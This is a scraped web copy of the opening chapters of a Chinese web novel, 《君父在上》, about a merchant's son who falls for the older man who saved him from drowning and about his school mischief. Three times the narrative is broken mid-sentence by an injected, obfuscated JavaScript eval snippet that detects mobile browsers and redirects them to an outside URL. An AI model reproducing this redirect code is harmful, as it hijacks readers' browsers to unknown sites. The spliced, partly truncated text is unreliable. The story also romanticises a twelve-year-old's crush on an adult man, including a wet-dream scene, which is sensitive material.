《君父在上》 1. 第 1 章 江南二月二,百花争望,游人如织。 几艘画舫泊于城外瘦湖之上,舞女纤纤玉手播撒漫天花雨,船上士绅鼓噪喝彩声不断。 猝然一声惊叫划破苍穹: “救人——有孩子坠湖了!” “谁家的?怎么没个仆从跟着!” “这湖可深了,船上有谁会水?” “赵兄,你不是说自己冬泳是一把好手么?” “哎呦,王兄快噤声……” “快看,有人跳下去了!!!” 仓皇挣扎间,人群的嘈杂议论声逐渐离明瑾远去。 他从前听人说过,那年江南兵祸,城中死人不计其数。 许多都被丢进了瘦湖,化为冤魂水鬼索命。 爹、娘…… 浓浓悔意漫上他的心头。 自己不该逃课出来坐船,更不该不听家里的话…… 他还不想死…… 冰凉的水草缠绕上脚踝,拖拽着拼命挣扎的少年,缓缓沉入幽暗寂然的湖底。 纵然他拼命向水面的方向挣扎,却迟迟等不来人援救。 那船上的达官贵人们,怕是不想沾了这份晦气吧。 明瑾呛咳出一串气泡,体力耗尽,终于支撑不住了。 汹涌的湖水灌入肺部。 刺痛之下,视野碎成模糊的琉璃。 唯有头顶那片灰白的天,越来越远,越来越冷。 “哗——!!!” 裂帛般的水声劈开死寂。 一道白影破浪而来,墨发在水中如云雾般荡开,那青年眼底烧着灼人的焦灼,手臂却稳似雕弓挽月,一把攥住他下坠的手腕! 滚烫的唇压下来。 气息渡入的瞬间,明瑾的意识短暂回笼。 他蜷在那人炽热的胸膛前,恍惚间,看到一枚金玉坠入混沌湖水中。 那样式…… 是娘送他的长命锁! 明瑾下意识伸手去抓,指尖却与金玉之上的“平安如意”四字倏忽错过,只能眼睁睁地看着它坠入湖底。 沉入黑暗前,他用尽最后的力气,攥紧了救命恩人的衣襟。 像是抓住了万丈悬崖边唯一的藤蔓。 “——少爷,起床啦!” 明瑾蓦然惊醒。 看着前来收拾褥单的丫鬟,他本能地抬手,摸到了胸前被体温焐得滚烫的玉锁。 在确定它并未丢失后,明瑾松了一口气,掀开被子坐起身。 又梦到那天了,他恍惚着想。 “啊呀,这是……” 收拾到一半,丫鬟晴儿突然红了脸。 她和一旁的姐妹对视一眼,捂着唇,嘻嘻哈哈地笑了起来。 “你们笑什么?” 明瑾疑惑问道。 顺着她们的目光,他看到了床铺中央的一团深色水渍。 明瑾:?!! 几乎是瞬间,少年便面红耳赤地蹦了起来,抱着被子扑倒在床铺上,背对着她们,只露出一点通红欲滴的耳尖。 长命锁的坠铃丁零当啷地乱撞一处,一如他此刻混乱羞赧的心情。 “哎呦喂,少爷呀,您这是做什么?”晴儿明知故问。 明瑾又恼又羞,把一张红成烤番薯的小脸埋在被子里,闷声道:“你俩快出去啊!我自己会收拾的!” 两位比他大十来岁的姐姐们笑完,好声好气地把他拉起来,摸着他松散的小辫,又用一种叫明瑾看不明白的眼神盯着他,笑眯眯道: “少爷也长大了呢。” “是呢,再过几年,就能娶妻成家了。” “哎呀,少爷这么可爱,真是舍不得啊。” “不管怎么说,得先叫老爷夫人知道才行。” 什么,还要叫爹娘知道!? 明瑾脑袋轰地炸了。 他心道睡觉尿床已经足够丢人了,还非得昭告天下吗? 万一被学院里的人知道了,小爷我不如直接退学自挂东南枝得了! “好姐姐,神仙姐姐,”眼看着自己即将身败名裂,明瑾立马一个鲤鱼打挺翻起身,一手拉住一个,殷勤恳求道,“这事儿能不能替我保密?我知道你们平时最疼我了……” 晴儿忍笑道:“少爷这甜言蜜语拍马屁的功夫,这两年倒是使得越来越炉火纯青了,早用在钻研念书上,丁先生不就不找你麻烦了吗?” 明瑾脸垮了:“好好的,提老丁头干什么?” 他见晴儿一直顾左右而言其他,就是不允,顿时急了。 “实在不行……” 明瑾肉疼地咬了下腮帮子的软.肉,可怜巴巴道:“我用我爹给我的零花钱,给两位姐姐去东市买最好的胭脂水粉来,只求两位好姐姐别告诉我爹娘,好不好?” 不等晴儿心软回答,斜地里忽然幽幽传来一道声音: “你爹又偷给你塞钱了?” 明瑾悚然扭头: “娘?” 雕花窗外,来人站在春光明媚的廊下。 是位身材高挑的女子,白肤深衣,英气爽利,脸上不施粉黛,只在乌黑鬓发间简单插.着一支玉钗。 隔着窗子,文轻尘紧盯着屋内一脸心虚的明瑾,眼神犀利。 “我就说,你这小子怎么这几日好生乖巧,原来是已经化到了缘。既如此,父债子偿,这钱就从你爹这个月的月销里扣吧!” 明瑾先是紧张,听她这么说,又暗暗松了一口气。 看来娘还不知道那天自己落水的事。 爹啊,对不住了。 儿子也是自身难保! 某位明家大孝子默默地在心里道了一声歉,随即想起尿床这件糗事被发现,浑身皮一紧,内心大呼吾命休矣。 谁知他老娘只是哼笑一声,大步流星地走进屋内。 她指挥着晴儿她们开窗通风,给明瑾换了身干净衣裳,又喊人把脏了的被褥拿去桑枝灰水中浸泡,说是这样能祛秽去渍。 一通操作,看得明瑾从一开始的羞臊不堪,到后来的迷惑不解。 “娘,你这是?” 文轻尘不答,转身朝他招了招手。 少年听话地坐在她面前的红酸枝圆木凳上,任由母亲对着镜子,替他梳发整理。 镜中的少年头发乌黑蓬乱,尚带着几分婴儿肥的脸颊白皙可爱。 浓密扑闪的睫毛下,一双乌溜溜的大眼睛圆睁着,像是被水洗过的黑润葡萄。 文轻尘心想,怪不得每逢出门,都有人夸赞羡慕她,说这孩子一看就乖巧聪慧,养起来一定很省心畅意吧。 ……省心畅意个鬼! 文轻尘心中冷笑。 世上没人比她这个做娘的,更能明白这小祖宗的真实秉性了。 刚出生时,明瑾吃奶的力气就比别的孩子大,经常夜哭不止,闹腾得家中人仰马翻; 等稍长大一些,更加无法无天,只要边上看顾的奶娘稍一分神,就会暗搓搓地搞个大的。 最可恨的是,明明弄出一地狼藉的是他,恨得人牙痒痒的也是他,明瑾还能满脸无辜地歪头抬手要抱抱,仿佛只要对他说两句重话,就是干了什么十恶不赦的坏事一样。 简直是天魔星降世! 她叹道:“虽说你马上就十二了,但心性远未成熟,还是个孩子,以后做事情要稳当一些……” “才不是!” 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171801|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾嘴巴一撇,“娘,我早就长大了。” 文轻尘替他梳发的动作一顿。 她拍了下明瑾的脑袋,笑了笑:“娘可不希望你这么快长大。” 明瑾仰起头,眨巴着眼睛看向她:“为什么?” “爹娘都还没老呢,你急什么。”文轻尘淡淡回答,垂下眼眸,替他扎起了脑后的长生辫,“倒是这辫儿,也到了该剪的时候,改天叫你爹请个合适的长辈过来,把仪式办了。” 明瑾抱怨道:“好麻烦,一条辫子而已,不能就让爹剪吗?或者娘你自己来也行啊。” “不行!”文轻尘斩钉截铁道,“这事没得商量。” 江南风俗,小时体弱多病的孩子,都会留一条长生辫。 这条辫子,会一直留到九岁或十二岁,寓意保佑孩童健康平安长大。 一般有头有脸的家族,会请来孩子的舅舅、塾师先生或者德高望重的长辈来替孩子剪发,有冀文运、借寿数的寓意。 但明瑾才不相信这些。 他打小身体倍棒,皮实得很。 而且明瑾最讨厌的,就是这些张口之乎者也、闭口仁义礼智的老头子。 可明瑾再叛逆,也不敢不听他娘的话。 文轻尘和旁的那些大家族主母很不一样,不爱红装爱武装,成婚后还经常在家舞刀弄剑,颇有弓腰姬之遗风。 以致于他经常怀疑,自家老爹当初是不是被娘用剑架在脖子上,逼着拜了堂。 这个念头在明瑾脑海中一闪而过,很快就被他干笑一声压了下去。 他老爹又不是汉昭烈帝,不可能,绝对不可能。 在娘面前,明瑾习惯性摆出一副小儿撒娇的姿态,坐在椅子上,晃着腿央求道:“儿子知道啦,不会自己剪的。但娘得告诉我,为什么要用桑枝灰水泡那褥子?” 文轻尘也没避讳,简单解释了一番梦遗之事。 看着明瑾恍然大悟又不可置信的神色,她勾起唇,没忍住,揪了下自家儿子白里透粉的小脸蛋。 肉乎乎的,手感真好~ “哎呦,娘你又掐我干什么?” 明瑾嚷嚷起来,捂着通红的脸蛋,委屈地瘪了瘪嘴。 好讨厌,为什么人人都爱掐他这张脸? “臭小子,老实跟你娘讲,”文轻尘压着他的肩膀,眯起眼睛,一眨不眨地盯着镜子里儿子的表情,“昨天晚上,是不是梦到哪家漂亮姑娘了?” “什——” 明瑾头皮一炸,险些被他娘惊到站起来,临到头又被文轻尘一把按回了凳子上,半边屁股摔都麻了。 “……娘,你、你在说什么呢,我睡得挺好的,”他磕磕巴巴地辩解,泛白的指甲抠着凳子边沿,“才没有的事!” 文轻尘险些笑出声来。 这小鬼头,果然还是太嫩了啊。 “是——吗?” 文轻尘故意拉长了声音,笑意盈盈地看着怀里少年的脸蛋飞速升温变红。 哎呀呀,真没想到。 这个平日里厚脸皮的小家伙,提到自己喜欢的人,居然还会害羞呢? 文轻尘一颗老母亲的心险些被儿子融化。 但想到即将来到明家的那一位,她飘荡在空中的心又不禁往下坠了些许。 罢了。 这些纷纷扰扰,都与孩子无关。 明瑾年岁还小呢。 文轻尘收敛好自己脸上的表情,直起身,拍了拍自家儿子的肩膀,“没事儿子,告诉娘,你喜欢的是哪家姑娘?” 她豪气干云道: “你放心,你爹可是江南有名的奸商——以咱们明家的财力,只要不是皇亲国戚,娘都能帮你圆梦!” 2. 第 2 章 明瑾差点儿被自己的口水给呛死。 他咳嗽了两声,哭笑不得道:“娘,哪有说自家人是奸商的?爹就是抠门了点儿,斤斤计较了点儿,精打细算了点儿……呃,倒、倒也算不上奸商吧?” 明瑾越说越心虚。 但说实话,听到文轻尘的话,他心里的第一反应是问娘: 真的吗? 哪怕是个男人也可以? 一想到那个人,明瑾的心跳骤然加快。 但他又后知后觉地反应过来,自己甚至还不知道对方的名字。 “怎么了儿子?” 文轻尘诧异地看着因为自己一席话,突然脸红亢奋起来,须臾后又陷入低落的儿子,讶然道:“难不成,还真是皇亲国戚?这……” 她凝重地想了一会儿,又掰着手指头算了算,说:“公主就算了,这个真不行,别的我让你爹再努把力,说不定能成呢。” 明瑾思绪中断,噗嗤一声笑了。 “望父成龙还是算了吧,我可不想把爹逼死,”他轻快说道,拉着他娘的小拇指晃了晃,“放心吧娘,我心里有数。” 顿了顿,又小声道:“儿子要是真认定了一个人,肯定会告诉娘的。” 他好说歹说才把人哄走了。 还好,没露馅。 “今晚你爹要在家里招待客人,”临走前,文轻尘不放心地叮嘱儿子,“记得上完学早些回来,别再被先生留堂了,听到没?” 明瑾的小脸瞬间垮掉。 “又是哪家老头要来?”他嘟囔道,“知道啦娘。” 但心里已经打定主意要把这顿饭混过去了。 反正爹和客人谈事,跟他又没关系。 自己能起到的最大作用,就是在老爹和客人互相介绍吹捧“犬子”“令郎”的时候,露出一抹尴尬而不失礼貌的假笑,再当众背上两句圣人文章,简直是街上玩杂耍的猴。 还不如找张牧他们上街溜达呢。 清风徐来,少年站在院中伸了个懒腰。 不知想到了什么,他低头摸了摸自己脖颈上的长命锁,听着下方坠铃碰撞清脆的铃响,忽而又傻笑起来。 抱着新被褥回屋的晴儿疑惑道:“少爷,您今儿不去书院吗?” 明瑾一个激灵回过神。 “下午再去。”他含糊敷衍道。 早晨耽误这么久,过去肯定得迟到,又要被老丁头罚站念叨。 他厚着脸皮心想,干脆旷了早课,下午再去吧。 当然,肯定不能被爹娘发现就是了。 明瑾揉了揉鼻子,决定去后花园躲一躲清净。 他熟门熟路地爬上树,翻过墙,绕过后院的仆役和丫鬟,又叼着根狗尾巴草,坐在树杈上,望着满园盛放的雪白海棠发呆。 脑海中却突然闪过一副画面—— 是那日花朝节上,那人一袭白袍锦衣,迎水而立,隔着湖心白桥投来的淡淡一瞥。 回想起来,他确实生了一副玉质金相的好样貌。 白衣如玉,长眉凤目,浅淡的瞳色带着金属般锋锐的冷意。 但明瑾分明记得,那双眼眸在水中望向自己时的焦炙。 ……他可真好看呐。 明瑾红着小脸抠光了树皮上的苔藓。 还救了自己,嗯,果然人美心更美。 明瑾越想越心痒,像是有只毛绒绒的猫爪儿在挠,恨不得那人现在立刻马上就出现在自己面前。 最好再和那天一样,抱一抱他,亲、亲……哎呦快住脑!羞死人了! 想起那日被成年人揽入怀中的滚烫温度,明瑾慌里慌张地从高处轻巧跳下,左顾右盼一番,确认附近没人后,这才欲盖弥彰地揉了揉通红的耳朵,去院子里摘了一朵花。 少年蹲在树根下面念念有词: “年纪比我大很多。” 择一片花瓣,丢掉。 但娘也说过,年纪大的会疼人。 “还是个男人。” 再择一片花瓣,丢掉。 不过以前爹被娘收拾后,曾经偷偷跟他抱怨,娶了娘就是娶了个祖宗回来,明瑾严肃心想,祖宗是不分男女的。 “……一看就不好追,像个大冰块儿。” 最后一片花瓣飘落在地。 可是他面冷心热呀!明瑾义正言辞地为心上人辩解。 不然那天桥上那么多人,怎么偏偏只有他跳下来救了自己? 明瑾随手把秃噜的花梗丢到地上,拍拍手,郑重地做出了决定—— 什么男不男女不女老不老少不少的,管他呢! 想到昨晚的梦,他又悄悄红了脸颊。 自己就喜欢这样的祖宗,不行吗? 明瑾是个妥妥的行动派。 既然做出了决定,那就要立刻行动起来。 追人第一步—— 呃,他得先知道自己的心上人是谁。 那日恰逢十年一度的花神娘娘祭典,瘦湖边人山人海摩肩接踵,全是来踏青赏花的士庶妇孺。 就连湖中央的画舫上都载满了人,密密麻麻,多得跟莲蓬眼似的,否则他也不会被挤下船落水。 虽然现在看来是因祸得福,但想要从那么多人里大海捞针找到目标,着实有一番难度。 还好,他记得那双特殊的眼睛。 “金色的眼睛?” 明净通透的学堂内,张牧趴在桌案上直打哈欠。 听完明瑾的叙述,他不由得拧起眉毛,露出一副怀疑的神色:“咱们大雍有长这样的吗?这家伙是人是鬼?” 明瑾顿时垮了一张小脸:“怎么说话呢?揍你哦!” 张牧严肃地想了想,倒吸一口凉气,“要是人的话……嘶,我说明大少爷,你该不会喜欢上了个异族人吧?” 作为明瑾在书院的同窗兼狐朋,张牧在听闻这件事时,只是为明瑾居然喜欢男人惊异了一瞬。 但很快,他就无障碍接受了—— 喜欢男人怎么了? 他老爹上个月还带回来个花枝招展的小男娘呢! “应该不是吧,”坐在窗边的明瑾用笔杆顶着腮帮子,心不在焉地回答,“我看他长得不像大宛人,其他就更不可能了,北方的胡人跟咱们大雍可是死敌。” 张牧这才松了口气。 “还好还好,是大雍人就行。”他用力一拍明瑾的肩膀,“兄弟我支持你!凭你明大少爷的才貌家世,什么样的人拿不下?” 他朝明瑾挤眉弄眼:“就算他是个男人,还是个比你大好多岁的男人,玩一玩尝尝鲜又怎么了?” 明瑾下意识皱了皱眉。 张牧跟明家的情况不一样,他老爹是个荒唐风流种,妻妾成群男女不忌,家里光是能上族谱的子女就二十来个,更别提在外面鬼混时生下的私生子了。 上梁不正下梁歪,有这样的老爹在家日日熏陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕只是商人之子,布衣之身,气度却半点不输那些官宦后代。 连老丁头这么变.态一老古板,对他的耐心也比一般人好。 要不是兔子不吃窝边草,他高低也得…… “再用这种眼神看着我,”明瑾头也不抬地说道,“小爷就把你那对招子挖出来,说到做到。” 说完他搁下笔,看着自己一笔一划工整写好的情诗,满意地吹了吹上面未干的墨迹。 “快过来,看看我这字儿写得怎么样?你说我要不要再自己改两句?”明瑾喜滋滋地问道。 但他瞥了张牧一眼,很快又失望改口,“算了,不该问你的,《论语》你背了三月都没背全乎,上次先生提问还当众说李白字子美,这个你肯定看不懂。” 他还颇有些恨铁不成钢地摇摇头:“唉,都说了让你平时也听听课,书到用时方恨少,人到用时靠不了啊。” 张牧:“…………” 他咬牙道:“谁之前安慰我说这酸书不读也罢,杜甫也不是不能冠友姓的?” 原来从溺爱到不爱的区别那么明显! 绝交吧,重色轻友的东西! 3. 第 3 章 张牧决定和重色轻友的兄弟绝交。 一刻钟。 于是他冷哼一声扭开头,不再理会明瑾。 但离散学还有一个时辰,人总得给自己找点乐子。 张牧舔了舔嘴唇,悄摸撕下一页纸,折成个青蛙放在桌边上,用力一按,青蛙就跳到了前面人的身上。 好巧不巧,还是某个关键部位。 “啊!” 瘦高个的男孩在座位上吓得一哆嗦,夹紧双腿,短促尖叫了一声。 张牧险些笑出声来。 在老丁头往这边看的瞬间,他又立马摆出严肃听讲的姿态,一副“跟老子没关系”的无辜姿态。 目睹全程的明瑾瞥了他一眼,摇摇头。 他也不是第一次见张牧故意挑上课时间搞事了,以前还好,明瑾还会跟着一起偷笑两声。 今天不知怎的,他却忽然冒出来一个念头—— 这小子,怎么这么幼稚? 唉,可能这就是有了心上人之后,一夜之间成熟长大的感觉了。 明瑾苦恼又甜蜜地想道。 台上讲课的丁弘毅眉毛狠狠一跳,喝问那瘦高个:“李司,你们几个又在搞什么名堂?” 李司,明瑾的狗友。 他当然不可能把张牧供出来,虽然学堂里所有人都知道张牧平时最爱拿他打趣。 但他和张牧明瑾三个关系好得能穿一条裤子,也是众所周知的事情。 李司支支吾吾半天,只说是自己被一只虫子吓到了。 丁弘毅如何不知这其中的猫腻,他冷笑一声,手指点着他们的人头警告道:“你们三个,要是再闹出动静来,散学后哪儿也不许去,统统给我滚去罚扫学院,不扫完不许回家!” “……是。” 李司吸了吸鼻子,没精打采地应了一声。 始作俑者张牧却完全不觉得这有什么。 他们三个被连坐惩罚又不是一天两天了,虱子多了不痒。 就连明瑾这种会在爹娘面前装乖的,也早就不怕老丁头的威胁了。 等丁弘毅走远,他又捅了捅坐回座位上的李司:“喂,你听到明瑾刚才讲的没?那天你不是跟他一起出城的吗,后来可有见过那号人?” 闻言,明瑾也抬头望向他。 要说自己被救上岸后,身边唯一有可能跟那位青年有交流的,应该就只有同行的李司了。 李司有点儿怕被丁弘毅发现,但又不能不搭理朋友。 踌躇一番,他只好用书掩着嘴,侧头小声回答张牧:“没啊,当时人太多了,我和明瑾走散,一开始都没发现是他掉水里了,还趴在船上看热闹呢。” 明瑾没好气道:“我就知道你小子不靠谱。要是指望你,我早成水鬼了!” 李司憨憨笑起来,挠头道:“我太笨了,不会水,对不住嘛。” 张牧毫不客气道:“是够笨的。” 扭头看见明瑾还在写东西,本不欲搭理的张牧又好奇凑过来:“不是,你到底在写什么?” “不是跟你说了吗,写情诗啊。” 明瑾的唇边带着一丝笑意,低声念道:“昨儿在家中一本旧书扉页上看见的,也不知道是谁题的诗,‘中和癸卯春三月,洛阳城外花如雪。……路旁忽见如花人,独向绿杨阴下歇。’中间那一列看不清了,不过,你不觉得这几句很美吗?这景象,就跟那天我第一次见到他一样。”* 张牧敬畏道:“你居然还会在家看书?自.虐啊!” 明瑾怒道:“这是重点吗?” 张牧哦了一声,慢了一拍才反应过来,明瑾口中的“他”,就是那个他只见过一面、还不知道姓甚名谁的心上人。 他立刻直起身子,匪夷所思地瞪着明瑾,觉得这小子怕不是被下了蛊吧? 仅仅一面之缘而已! 那男人到底长了个什么狐媚子的模样,叫他兄弟这么神魂颠倒? 明瑾对张牧的想法浑然不觉。 他仍沉醉于诗词营造的甜蜜气氛中,周身仿佛漂浮着能腻死人的甜蜜泡泡。 李司的反应总比正常人慢半拍,所以暂时还不太理解状况。 但他觉得有喜欢的人了,这总归是件好事,于是也替明瑾高兴起来,说:“希望你能心想事成。” “谢谢,”明瑾谦虚道,“虽然我跟他都是男子,成不了亲,但如果在一起了,会给你们发喜糖的。” “不是,你来真的?” 张牧的声音不自觉地拔高了些许。 他觉得这俩人都疯了! 尤其是明瑾,这才只是见了一面就想着发喜糖,等日后找到人,明瑾是打算把他老明家那点家底都巴巴送给人家吗? 但张牧完全忘记了自己还身处课堂,这一声叫唤出来,吓得明瑾和李司当场变了脸色,扑上来要捂他的嘴。 一再被挑衅的丁弘毅终于忍无可忍。 他啪地合上手中书册,大步走过来,先是用一种看蠹虫的眼神冷冷瞥了张牧一眼,在对方慌张的神情之中,视线竟径直掠过了他,在明瑾又惊又怒的注视下,劈手夺走了他写的东西。 丁弘毅扫了一眼纸上的字迹,脸上露出讥讽之意:“明家的大少爷,连尊师重道四个字都不懂,还知道看《秦妇吟》呢?” 明瑾有些不理解丁弘毅的意思。 他昨天只扫了一眼开头,觉得这几句诗很美,就记下来了。 难道这不是情诗吗? 但丁弘毅显然不愿跟他过多解释。 在明瑾哀怨的目光中,他将那张纸三两下撕得粉碎,丢到地上,又指了指门外,喝道:“你们三个,既然不想上老夫的课,就拿上笤帚滚出去!” 三人自觉站起身,拿上笤帚,正要和往常一样去书阁前的空地扫落叶,就听有一人拉长了声音道:“先生,这三人目无尊长,只是罚他们扫扫落叶,未免惩罚也太轻了吧?” 明瑾三人顿时扭头,对那火上浇油之人怒目而视。 那家伙毫不畏惧地回了他们一个嬉笑的鬼脸,目光扫过三人,最终挑衅地落在了为首的明瑾身上。 作为课堂之上为数不多带了书童的人,魏金宝自然有这个底气开口。 毕竟,他的老爹可是当朝左相魏淮。 官对商,自然是官更胜一筹。 哪怕他只是小妾生的不受宠的庶子又如何?魏淮如今可是陛下面前的大红人,在官商之子云集的云英书院之中,这个身份足够魏金宝横着走了。 明瑾冷冷地回瞪着魏金宝。 这混蛋比他大了三岁不止,成绩却比张牧还烂上几分,大字不识几个,相当于半个文盲,只能随着他们这些刚入学的一起上课,课业还全是书童帮忙代写。 但魏金宝丝毫不以为耻,反倒洋洋自得。 在他眼中,哪怕考取了功名,将来也只能拜入丞相门下给他当狗,那还不如一步到位,直接当狗来得方便快捷。 明瑾自然没有满足这位脑残少爷白日梦的想法。 因此,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171803|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对魏金宝的“招揽”时,他毫不犹豫地拒绝了。 从此,两人就在学院里结下了梁子。 这会儿魏金宝故意出声,估计是想要利用老丁头,狠狠给他来个教训吧——明瑾抿了抿唇,心里有些愧疚,觉得是自己连累了张牧和李司两人。 丁弘毅的目光在他们两拨人之间来回扫视,半晌,淡淡问魏金宝:“那你觉得,该如何罚?” 魏金宝立刻朝他拱手,义正言辞道:“自然是严惩不贷。” “听闻丁先生有一把铁戒尺,专门用来惩罚那些愚顽学生,只消三十下便可皮开肉绽,痛入骨髓,学生以为,正应当用在此处,叫这无法无天的三人好好长个教训!” “哦?” 听着丁弘毅那似有意动的上挑声线,明瑾只觉得头皮发麻。 这混蛋,好生恶毒! 他赶紧上前一步,怒瞪了一眼魏金宝,又朝丁弘毅恳求道:“先生,此事与张牧和李司无关,况且学生已经知道错了,求先生网开一面……” “先生!” 眼看事情闹大,张牧脸色惨白,但还是鼓起勇气打断了明瑾的话,“是学生不该在先生上课时与同窗嬉闹,先生要罚就罚我吧!” 李司急得满头大汗说不出话,但同样上前一步,和明瑾张牧他们并肩站到了一起。 丁弘毅的脸色却更加黑沉了几分。 “你们三个,倒还真有情有义,搞得老夫跟那棒打鸳鸯的坏人似的。”他阴阳怪气道。 魏金宝发出一声响亮的嗤笑。 像猪叫,明瑾心中恨恨道。 姓魏的,还有老丁头,这一次他记住了! 就在明瑾硬着头皮做好被老丁头狠狠体罚的准备时,丁弘毅忽然朝他们身后看了一眼,露出了某种奇异的神色。 “他怎么会来学院?”明瑾听到他低喃道。 谁? 他下意识想转头去看。 但碍于身处众目睽睽之下,明瑾还是强忍住了冲动。 出人意料的,丁弘毅沉默片刻后,竟摆了摆手,意兴阑珊道:“老夫那把铁尺子,已经十来年未曾动用过了,今后也不打算再用。” 魏金宝很不甘心:“丁先生——” “够了,老夫自有决断,”丁弘毅冷冷道,“你们三个,屡教不改,罚你们去清理学院的茅厕,不清理完不许回家吃饭。” 明瑾三人:“……是。” 茅厕就茅厕吧。 总比被打得皮开肉绽强。 离开前,明瑾特意往学堂后门的方向看了一眼。 门口空荡荡的。 除几片落叶之外,什么也没有。 魏金宝恨恨坐回座位。 他甚至毫不遮掩地瞪了丁弘毅一眼,又泄愤地踹了身旁书童一脚,不顾对方的痛呼,骂骂咧咧地扯过书盖在脸上,继续睡他的大觉。 然而丁弘毅好歹也是几十年前的二甲进士,就算仕途走的不顺,最后只能被发配来学院教书,那也不是魏金宝一个十几岁的小鬼能随便挑衅的——即便他老爹是当朝左相。 无视魏金宝在课堂上的所作所为,已经是他对左相最大的尊重了。 倒是那一位,来得蹊跷。 难不成,自上次陛下废太子之后,朝中又有了什么大变动? 丁弘毅心里打定主意,等之后要去找院长问问情况,面上却依旧是一派僵板严峻之色,收回望向学堂外的视线,拂袖转身: “其余人等,继续上课!” 4. 第 4 章 另一边。 明瑾三人捏着鼻子来到了臭气熏天的粪坑前。 “真狠啊,老丁头,”张牧捏着鼻子,边扫边干呕,“在家里我爹都不敢罚我干这种活……呕!日他祖宗的,这是哪头猪拉了这么多?” 李司看上去快被熏晕了,脸色发青地走到一边吐去了。 “少来,你方才要是动静小点儿,我们至于这样吗?” 明瑾怨气冲天地抱怨。 要不是这里太臭,他一刻也不想多待,今日他非得揍张牧这小子一顿不可——叫他方才乱嚷嚷!臭死了! 还有他写的诗,也被老丁头给撕了。 明瑾委屈地想,自己好不容易才写出来那么漂亮端正的字迹,还想着等找到那人之后,再当面送给他呢。 张牧自知理亏:“等今天回去,我叫家里管家替你打听打听那人,行了吧?” 明瑾满意了:“这还差不多。” 虽然这活腌臜了些,但和张牧李司他们在一起打打闹闹,倒也没那么难熬。 明瑾想着白日里文轻尘的叮嘱,甚至还主动说要留下来帮他们把工具归位,让张李二人早点回家。 “他转性了?”张牧扭头看向李司,震惊道,“上一次逃课前他说的那番话,你还记得不?” 李司挠了挠头:“记得,他说只有受虐狂才爱上学,多在书院待一炷香他就短寿一个时辰。” 明瑾面不改色:“有吗?我不记得了。” 然后抡起笤帚作势要抽他俩的屁股,张牧和李司被他撵得上蹿下跳,忙不迭地丢下他跑了。 远远地还冲他嬉笑挥手: “明大少爷,明天见!” 明瑾握着笤帚翻了个白眼:“明天放旬假,我看你俩是上课上得神志不清了!” 打发走两位损友,他慢悠悠地收拾好地上的工具,放回原位,去水池旁洗干净手,抬头看了看天色。 日暮西山,霞光灿然。 等到了家,应该差不多就过饭点了吧。 明瑾哼着“天上掉下个林妹妹”的调子,磨磨蹭蹭、不紧不慢地踱出了书院大门。 这副轻浮浪荡的模样,要是丁弘毅见了,估计又得深恶痛绝地骂上一句纨袴膏粱,不堪造就。 不过现在天色迟暮,书院里的人早就走光了,明瑾自然不怕。 “哎呦我的小祖宗,你怎么这么晚才出来?又被先生留堂罚站了?” 守在门口的独眼老仆急得直跺脚。 就连他手里牵着的骡子,也早等得不耐烦了,鼻孔狠狠出气,还在原地撅了两下蹄子。 “今天府上可是有一位远来的要客,老爷夫人特意叮嘱我早些来接您,大少爷啊,您……您这身上是什么味儿?” 明瑾低头闻了闻,久处其中不觉其臭,他倒觉得还好。 正好回去还能用这个当借口不见客。 他伸出小手,安抚地摸了两下暴躁的骡子,无所谓道:“扫了一下午茅厕,回去洗洗就是了。” 老仆拿他没办法,只好唉声叹气地把这小魔头抱上骡子,牵着骡子往明府的方向走。 极目望去,天边霞光灿然,犹如气蒸霞蔚之山。 老仆一路走一路念叨着明瑾不该晚归的事,明瑾没多久就被他唠叨得耳朵起茧,忙开口岔开话题问道:“文叔,家里那客人是什么来头,你可知道?” 文叔摇了摇头:“不知,但老爷对那人的态度很奇怪。” “奇怪?哪里奇怪?” 明瑾从骡背上的负囊里掏出晴儿她们准备的零嘴,先吃了一块糕点垫垫肚子,又惊喜地翻出一张果丹皮,心里琢磨着,该不会是债主上门讨债了吧? 他有些没良心地腹诽:都说父债子偿,老爹你当奸商坑别人就算了,可千万别坑亲儿子啊。 文叔道:“具体的我也说不上来,总之,少爷您回去看看就知道了。” “有什么好看的?无非就是老爹花钱打点的门路,或者自个儿上门要钱的财神爷罢了,”明瑾轻哼一声,“还什么‘朋友’……爹娘真当我是三岁小孩呢。” 他们明氏商行,在江南的生意做得很大。 布匹、粮食、船运、药材……几乎方方面面都沾一些,名下的田庄更是占地近千亩。 但正所谓“商贾虽富,服止布衣”*,在大雍,再有钱的商人也依旧是布衣阶层。 即使江南地区的富商并不严格遵守律令,穿细葛布或本白麻衣,大多都身披罗绮穿金戴银,然而名籍却仍称布衣,永远要被食禄者压上一头。 明瑾是知道的,家里生意每年获得的利润,起码有五成以上都要孝敬出去。 不然魏金宝那样的蠢货,也不会在学院里如此嚣张。 要不是老爹前两年花重金打点门路,估计想要分一杯羹的牛鬼蛇神还要更多呢。 文叔扭头看向明瑾。 